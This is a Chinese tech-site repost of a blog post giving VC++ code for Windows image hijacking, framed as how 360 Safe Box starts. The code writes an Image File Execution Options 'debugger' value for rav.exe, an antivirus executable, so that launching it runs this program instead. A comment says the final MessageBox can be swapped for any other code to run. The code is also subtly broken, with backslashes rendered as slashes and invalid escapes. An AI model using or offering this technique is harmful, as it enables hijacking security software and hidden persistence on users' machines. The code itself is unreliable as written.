ICode9

精准搜索请尝试: 精确搜索
首页 > 编程语言> 文章详细

VC++实现镜像劫持(360保险箱启动原理)

2021-04-25 17:52:41  阅读:174  来源: 互联网

标签:RegCloseKey temp 保险箱 C++ ret KEY printf 子键 360


   VC++实现镜像劫持(360保险箱启动原理)    

#include "stdafx.h"
#include

int main(int argc, char* argv[])
{
 char temp[256];
 DWORD ret;
 LPCTSTR szRegKey="SOFTWARE//Microsoft//Windows NT//CurrentVersion//Image File Execution Options"; //定义字符串指针,保存映像劫持的键位
 HKEY h_KEY;
 if(argc!=1)   //如果参数不是1个,提取第2个参数,也就是被劫持程序的路径
 {
  memset(temp,0,256);
  strcpy(temp,argv[1]);  
  for(int i=0;i<strlen(temp);i++)    //将路径中的/换为/,也可以换为//,就是代码长了点
  {
   if(temp[i]=='//')
    temp[i]='/';
  }        
  ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,szRegKey,0,KEY_ALL_ACCESS,&h_KEY); //打开注册表中需要映像劫持的子键获得句柄
  if(ret==ERROR_SUCCESS)
  {
   printf("open ok!/n");
   if(ERROR_SUCCESS==RegDeleteKey(h_KEY,"rav.exe")) //将上面打开的子键下的rav子键删除
   {
    printf("delete ok!/n");
    RegCloseKey(h_KEY);
    WinExec(temp,SW_SHOW);    //运行被劫持的程序
   }
   else
   {
    printf("delete failed!/n");
    RegCloseKey(h_KEY);
   }   
  }
  else
  printf("open failed!/n");
 }
 memset(temp,0,256);
 GetModuleFileName(NULL,temp,256);   //得到程序自己的路径,为下面写入注册表做准备
 HKEY hResultKey = NULL;
 if (ERROR_SUCCESS == RegOpenKeyEx(HKEY_LOCAL_MACHINE,szRegKey, 0, KEY_ALL_ACCESS,&h_KEY))  //打开注册表中映像劫持的子键,获得句柄
 {
  DWORD dw;
  ret = RegCreateKeyEx(h_KEY,"rav.exe", 0, REG_NONE,REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL,&hResultKey, &dw);  //在上面打开的子键下创建rav子键并打开,获得句柄
  if (ret!=ERROR_SUCCESS)
  {
  RegCloseKey(h_KEY);
  printf("creat failed!/n");
  return 1;
  }
  printf("creat ok!/n");
  ret=RegSetValueEx(hResultKey,"debugger",0,REG_SZ,(const BYTE *)temp,strlen(temp)+1);   //在rav键上创建debugger键并设置值为本程序的路径用于映像劫持
  if(ret!=ERROR_SUCCESS)
  {
  RegCloseKey(h_KEY);
  RegCloseKey(hResultKey);
  return 1;
  }
  RegCloseKey(h_KEY);
  RegCloseKey(hResultKey);
  printf("set ok!/n");
 }
 MessageBox(NULL,"ok!","成功!",MB_OK);    //用于测试程序,可换为其他需要执行代码
 

 return 0;
}


标签:RegCloseKey,temp,保险箱,C++,ret,KEY,printf,子键,360
来源: https://blog.51cto.com/u_9634496/2732230

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有